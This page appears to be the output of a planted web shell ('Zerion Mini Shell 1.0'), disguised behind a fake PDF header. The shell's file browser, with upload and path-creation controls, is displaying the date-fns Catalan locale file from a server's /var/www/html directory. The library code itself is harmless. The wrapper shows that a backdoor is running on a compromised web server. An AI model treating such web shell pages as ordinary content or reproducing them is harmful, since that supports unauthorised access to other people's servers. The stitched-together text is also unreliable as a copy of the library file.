%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/node_modules/date-fns/locale/ca/_lib/localize/
Upload File :
Create Path :
Current File : /var/www/html/node_modules/date-fns/locale/ca/_lib/localize/index.js

"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.default = void 0;

var _index = _interopRequireDefault(require("../../../_lib/buildLocalizeFn/index.js"));

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

/**
 * General information
 * Reference: https://aplicacions.llengua.gencat.cat
 * Reference: https://www.uoc.edu/portal/ca/servei-linguistic/convencions/abreviacions/simbols/simbols-habituals.html
 */

/**
 * Abans de Crist: https://aplicacions.llengua.gencat.cat/llc/AppJava/index.html?input_cercar=abans+de+crist&action=Principal&method=detall_completa&numPagina=1&idHit=6876&database=FITXES_PUB&tipusFont=Fitxes%20de%20l%27Optimot&idFont=6876&titol=abans%20de%20Crist%20(abreviatura)%20/%20abans%20de%20Crist%20(sigla)&numeroResultat=1&clickLink=detall&tipusCerca=cerca.fitxes
 * Desprest de Crist: https://aplicacions.llengua.gencat.cat/llc/AppJava/index.html?input_cercar=despr%E9s+de+crist&action=Principal&method=detall_completa&numPagina=1&idHit=6879&database=FITXES_PUB&tipusFont=Fitxes%20de%20l%27Optimot&idFont=6879&titol=despr%E9s%20de%20Crist%20(sigla)%20/%20despr%E9s%20de%20Crist%20(abreviatura)&numeroResultat=1&clickLink=detall&tipusCerca=cerca.fitxes
 */
var eraValues = {
  narrow: ['aC', 'dC'],
  abbreviated: ['a. de C.', 'd. de C.'],
  wide: ['abans de Crist', 'després de Crist']
};
var quarterValues = {
  narrow: ['1', '2', '3', '4'],
  abbreviated: ['T1', 'T2', 'T3', 'T4'],
  wide: ['1r trimestre', '2n trimestre', '3r trimestre', '4t trimestre']
};
/**
 * Dins d'un text convé fer servir la forma sencera dels mesos, ja que sempre és més clar el mot sencer que l'abreviatura, encara que aquesta sigui força coneguda.
 * Cal reservar, doncs, les abreviatures per a les llistes o classificacions, els gràfics, les taules o quadres estadístics, els textos publicitaris, etc.
 *
 * Reference: https://aplicacions.llengua.gencat.cat/llc/AppJava/index.html?input_cercar=abreviacions+mesos&action=Principal&method=detall_completa&numPagina=1&idHit=8402&database=FITXES_PUB&tipusFont=Fitxes%20de%20l%27Optimot&idFont=8402&titol=abreviatures%20dels%20mesos%20de%20l%27any&numeroResultat=5&clickLink=detall&tipusCerca=cerca.fitxes
 */

var monthValues = {
  narrow: ['GN', 'FB', 'MÇ', 'AB', 'MG', 'JN', 'JL', 'AG', 'ST', 'OC', 'NV', 'DS'],

  /**
   * Les abreviatures dels mesos de l'any es formen seguint una de les normes generals de formació d'abreviatures.
   * S'escriu la primera síl·laba i les consonants de la síl·laba següent anteriors a la primera vocal.
   * Els mesos de març, maig i juny no s'abreugen perquè són paraules d'una sola síl·laba.
   */
  abbreviated: ['gen.', 'febr.', 'març', 'abr.', 'maig', 'juny', 'jul.', 'ag.', 'set.', 'oct.', 'nov.', 'des.'],
  wide: ['gener', 'febrer', 'març', 'abril', 'maig', 'juny', 'juliol', 'agost', 'setembre', 'octubre', 'novembre', 'desembre']
};
/**
 * Les abreviatures dels dies de la setmana comencen totes amb la lletra d.
 * Tot seguit porten la consonant següent a la i, excepte en el cas de dimarts, dimecres i diumenge, en què aquesta consonant és la m i, per tant, hi podria haver confusió.
 * Per evitar-ho, s'ha substituït la m per una t (en el cas de dimarts), una c (en el cas de dimecres) i una g (en el cas de diumenge), respectivament.
 *
 * Seguint la norma general d'ús de les abreviatures, les dels dies de la setmana sempre porten punt final.
 * Igualment, van amb la primera lletra en majúscula quan la paraula sencera també hi aniria.
 * En canvi, van amb la primera lletra en minúscula quan la inicial de la paraula sencera també hi aniria.
 *
 * Reference: https://aplicacions.llengua.gencat.cat/llc/AppJava/index.html?input_cercar=abreviatures+dies&action=Principal&method=detall_completa&numPagina=1&idHit=8387&database=FITXES_PUB&tipusFont=Fitxes%20de%20l%27Optimot&idFont=8387&titol=abreviatures%20dels%20dies%20de%20la%20setmana&numeroResultat=1&clickLink=detall&tipusCerca=cerca.tot
 */

var dayValues = {
  narrow: ['dg.', 'dl.', 'dt.', 'dm.', 'dj.', 'dv.', 'ds.'],
  short: ['dg.', 'dl.', 'dt.', 'dm.', 'dj.', 'dv.', 'ds.'],
  abbreviated: ['dg.', 'dl.', 'dt.', 'dm.', 'dj.', 'dv.', 'ds.'],
  wide: ['diumenge', 'dilluns', 'dimarts', 'dimecres', 'dijous', 'divendres', 'dissabte']
};
/**
 * Reference: https://aplicacions.llengua.gencat.cat/llc/AppJava/index.html?action=Principal&method=detall&input_cercar=parts+del+dia&numPagina=1&database=FITXES_PUB&idFont=12801&idHit=12801&tipusFont=Fitxes+de+l%27Optimot&numeroResultat=1&databases_avansada=&categories_avansada=&clickLink=detall&titol=Nom+de+les+parts+del+dia&tematica=&tipusCerca=cerca.fitxes
 */

var dayPeriodValues = {
  narrow: {
    am: 'am',
    pm: 'pm',
    midnight: 'mitjanit',
    noon: 'migdia',
    morning: 'matí',
    afternoon: 'tarda',
    evening: 'vespre',
    night: 'nit'
  },
  abbreviated: {
    am: 'a.m.',
    pm: 'p.m.',
    midnight: 'mitjanit',
    noon: 'migdia',
    morning: 'matí',
    afternoon: 'tarda',
    evening: 'vespre',
    night: 'nit'
  },
  wide: {
    am: 'ante meridiem',
    pm: 'post meridiem',
    midnight: 'mitjanit',
    noon: 'migdia',
    morning: 'matí',
    afternoon: 'tarda',
    evening: 'vespre',
    night: 'nit'
  }
};
var formattingDayPeriodValues = {
  narrow: {
    am: 'am',
    pm: 'pm',
    midnight: 'de la mitjanit',
    noon: 'del migdia',
    morning: 'del matí',
    afternoon: 'de la tarda',
    evening: 'del vespre',
    night: 'de la nit'
  },
  abbreviated: {
    am: 'AM',
    pm: 'PM',
    midnight: 'de la mitjanit',
    noon: 'del migdia',
    morning: 'del matí',
    afternoon: 'de la tarda',
    evening: 'del vespre',
    night: 'de la nit'
  },
  wide: {
    am: 'ante meridiem',
    pm: 'post meridiem',
    midnight: 'de la mitjanit',
    noon: 'del migdia',
    morning: 'del matí',
    afternoon: 'de la tarda',
    evening: 'del vespre',
    night: 'de la nit'
  }
};
/**
 * Quan van en singular, els nombres ordinals es representen, en forma d’abreviatura, amb la xifra seguida de l’última lletra del mot desplegat.
 * És optatiu posar punt després de la lletra.
 *
 * Reference: https://aplicacions.llengua.gencat.cat/llc/AppJava/pdf/abrevia.pdf#page=18
 *
 * @param {Number} dirtyNumber
 * @param {Object} [_dirtyOptions]
 */

function ordinalNumber(dirtyNumber, _dirtyOptions) {
  var number = Number(dirtyNumber);
  var rem100 = number % 100;

  if (rem100 > 20 || rem100 < 10) {
    switch (rem100 % 10) {
      case 1:
        return number + 'r';

      case 2:
        return number + 'n';

      case 3:
        return number + 'r';

      case 4:
        return number + 't';
    }
  }

  return number + 'è';
}

var localize = {
  ordinalNumber: ordinalNumber,
  era: (0, _index.default)({
    values: eraValues,
    defaultWidth: 'wide'
  }),
  quarter: (0, _index.default)({
    values: quarterValues,
    defaultWidth: 'wide',
    argumentCallback: function (quarter) {
      return Number(quarter) - 1;
    }
  }),
  month: (0, _index.default)({
    values: monthValues,
    defaultWidth: 'wide'
  }),
  day: (0, _index.default)({
    values: dayValues,
    defaultWidth: 'wide'
  }),
  dayPeriod: (0, _index.default)({
    values: dayPeriodValues,
    defaultWidth: 'wide',
    formattingValues: formattingDayPeriodValues,
    defaultFormattingWidth: 'wide'
  })
};
var _default = localize;
exports.default = _default;
module.exports = exports.default;

Zerion Mini Shell 1.0